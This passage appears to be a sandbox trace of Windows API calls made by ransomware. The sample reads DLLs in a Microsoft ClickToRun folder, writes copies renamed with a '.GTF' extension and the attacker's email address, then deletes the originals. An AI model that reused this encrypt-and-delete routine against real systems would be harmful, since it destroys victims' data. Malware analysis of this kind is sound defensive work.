	[0084.752] CloseHandle (hObject=0x368) returned 1
	[0084.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.752] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1
	[0084.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.752] lstrlenW (lpString=".doc") returned 4
	[0084.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.752] lstrlenW (lpString=".docx") returned 5
	[0084.752] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.752] lstrlenW (lpString=".pdf") returned 4
	[0084.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString=".xls") returned 4
	[0084.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString=".xlsx") returned 5
	[0084.753] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.753] lstrlenW (lpString=".ppt") returned 4
	[0084.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.753] lstrlenW (lpString=".zip") returned 4
	[0084.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString=".rar") returned 4
	[0084.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString=".bz2") returned 4
	[0084.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.753] lstrlenW (lpString=".7z") returned 3
	[0084.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.753] lstrlenW (lpString=".dbf") returned 4
	[0084.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.753] lstrlenW (lpString=".1cd") returned 4
	[0084.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.753] lstrlenW (lpString=".jpg") returned 4
	[0084.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.753] lstrlenW (lpString=".doc") returned 4
	[0084.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString=".docx") returned 5
	[0084.753] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.753] lstrlenW (lpString=".pdf") returned 4
	[0084.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.753] lstrlenW (lpString=".xls") returned 4
	[0084.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString=".xlsx") returned 5
	[0084.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.754] lstrlenW (lpString=".ppt") returned 4
	[0084.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.754] lstrlenW (lpString=".zip") returned 4
	[0084.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString=".rar") returned 4
	[0084.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.754] lstrlenW (lpString=".bz2") returned 4
	[0084.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.754] lstrlenW (lpString=".7z") returned 3
	[0084.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.754] lstrlenW (lpString=".dbf") returned 4
	[0084.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.754] lstrlenW (lpString=".1cd") returned 4
	[0084.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0084.754] lstrlenW (lpString=".jpg") returned 4
	[0084.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.755] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.755] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0084.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.755] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=22720) returned 1
	[0084.755] CloseHandle (hObject=0x368) returned 1
	[0084.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20
	[0084.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.755] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.755] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.756] GetLastError () returned 0x0
	[0084.756] ReadFile (in: hFile=0x368, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x58c0, lpOverlapped=0x0) returned 1
	[0084.768] WriteFile (in: hFile=0x380, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x58d0, lpOverlapped=0x0) returned 1
	[0084.769] ReadFile (in: hFile=0x368, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.769] WriteFile (in: hFile=0x380, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x116, lpOverlapped=0x0) returned 1
	[0084.769] SetEndOfFile (hFile=0x380) returned 1
	[0084.769] CloseHandle (hObject=0x380) returned 1
	[0084.770] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.770] SetEndOfFile (hFile=0x368) returned 1
	[0084.771] CloseHandle (hObject=0x368) returned 1
	[0084.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.772] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1
	[0084.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.772] lstrlenW (lpString=".doc") returned 4
	[0084.772] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.772] lstrlenW (lpString=".docx") returned 5
	[0084.772] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.772] lstrlenW (lpString=".pdf") returned 4
	[0084.772] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.772] lstrlenW (lpString=".xls") returned 4
	[0084.772] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.772] lstrlenW (lpString=".xlsx") returned 5
	[0084.772] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.772] lstrlenW (lpString=".ppt") returned 4
	[0084.772] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.772] lstrlenW (lpString=".zip") returned 4
	[0084.772] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.772] lstrlenW (lpString=".rar") returned 4
	[0084.772] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.772] lstrlenW (lpString=".bz2") returned 4
	[0084.772] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.773] lstrlenW (lpString=".7z") returned 3
	[0084.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.773] lstrlenW (lpString=".dbf") returned 4
	[0084.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.773] lstrlenW (lpString=".1cd") returned 4
	[0084.773] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.773] lstrlenW (lpString=".jpg") returned 4
	[0084.773] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.773] lstrlenW (lpString=".doc") returned 4
	[0084.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.773] lstrlenW (lpString=".docx") returned 5
	[0084.773] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.773] lstrlenW (lpString=".pdf") returned 4
	[0084.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.773] lstrlenW (lpString=".xls") returned 4
	[0084.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.773] lstrlenW (lpString=".xlsx") returned 5
	[0084.773] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.773] lstrlenW (lpString=".ppt") returned 4
	[0084.773] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.773] lstrlenW (lpString=".zip") returned 4
	[0084.773] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.773] lstrlenW (lpString=".rar") returned 4
	[0084.773] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.773] lstrlenW (lpString=".bz2") returned 4
	[0084.773] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.773] lstrlenW (lpString=".7z") returned 3
	[0084.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.773] lstrlenW (lpString=".dbf") returned 4
	[0084.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.774] lstrlenW (lpString=".1cd") returned 4
	[0084.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0084.774] lstrlenW (lpString=".jpg") returned 4
	[0084.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.774] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.774] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0084.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.785] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=19136) returned 1
	[0084.785] CloseHandle (hObject=0x398) returned 1
	[0084.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20
	[0084.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.785] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.785] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.785] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.785] GetLastError () returned 0x0
	[0084.785] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x4ac0, lpOverlapped=0x0) returned 1
	[0084.787] WriteFile (in: hFile=0x33c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x4ad0, lpOverlapped=0x0) returned 1
	[0084.789] ReadFile (in: hFile=0x398, lpBuffer=0x3c4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.789] WriteFile (in: hFile=0x33c, lpBuffer=0x3c4a020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c4a020*, lpNumberOfBytesWritten=0x379fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0084.789] SetEndOfFile (hFile=0x33c) returned 1
	[0084.789] CloseHandle (hObject=0x33c) returned 1
	[0084.790] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.790] SetEndOfFile (hFile=0x398) returned 1
	[0084.791] CloseHandle (hObject=0x398) returned 1
	[0084.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.791] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1
	[0084.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.792] lstrlenW (lpString=".doc") returned 4
	[0084.792] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.792] lstrlenW (lpString=".docx") returned 5
	[0084.792] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.792] lstrlenW (lpString=".pdf") returned 4
	[0084.792] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.792] lstrlenW (lpString=".xls") returned 4
	[0084.792] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.792] lstrlenW (lpString=".xlsx") returned 5
	[0084.792] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.792] lstrlenW (lpString=".ppt") returned 4
	[0084.792] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.792] lstrlenW (lpString=".zip") returned 4
	[0084.792] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.792] lstrlenW (lpString=".rar") returned 4
	[0084.792] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.792] lstrlenW (lpString=".bz2") returned 4
	[0084.792] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.792] lstrlenW (lpString=".7z") returned 3
	[0084.792] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.792] lstrlenW (lpString=".dbf") returned 4
	[0084.792] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.792] lstrlenW (lpString=".1cd") returned 4
	[0084.792] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.792] lstrlenW (lpString=".jpg") returned 4
	[0084.792] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.793] lstrlenW (lpString=".doc") returned 4
	[0084.793] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.793] lstrlenW (lpString=".docx") returned 5
	[0084.793] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.793] lstrlenW (lpString=".pdf") returned 4
	[0084.793] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.793] lstrlenW (lpString=".xls") returned 4
	[0084.793] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.793] lstrlenW (lpString=".xlsx") returned 5
	[0084.793] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.793] lstrlenW (lpString=".ppt") returned 4
	[0084.793] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.793] lstrlenW (lpString=".zip") returned 4
	[0084.793] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.793] lstrlenW (lpString=".rar") returned 4
	[0084.793] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.793] lstrlenW (lpString=".bz2") returned 4
	[0084.793] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.793] lstrlenW (lpString=".7z") returned 3
	[0084.793] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.793] lstrlenW (lpString=".dbf") returned 4
	[0084.793] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.793] lstrlenW (lpString=".1cd") returned 4
	[0084.793] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95
	[0084.793] lstrlenW (lpString=".jpg") returned 4
	[0084.793] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.794] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.794] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36
	[0084.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.794] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=20672) returned 1
	[0084.794] CloseHandle (hObject=0x398) returned 1
	[0084.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20
	[0084.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.794] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.794] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0084.795] GetLastError () returned 0x0
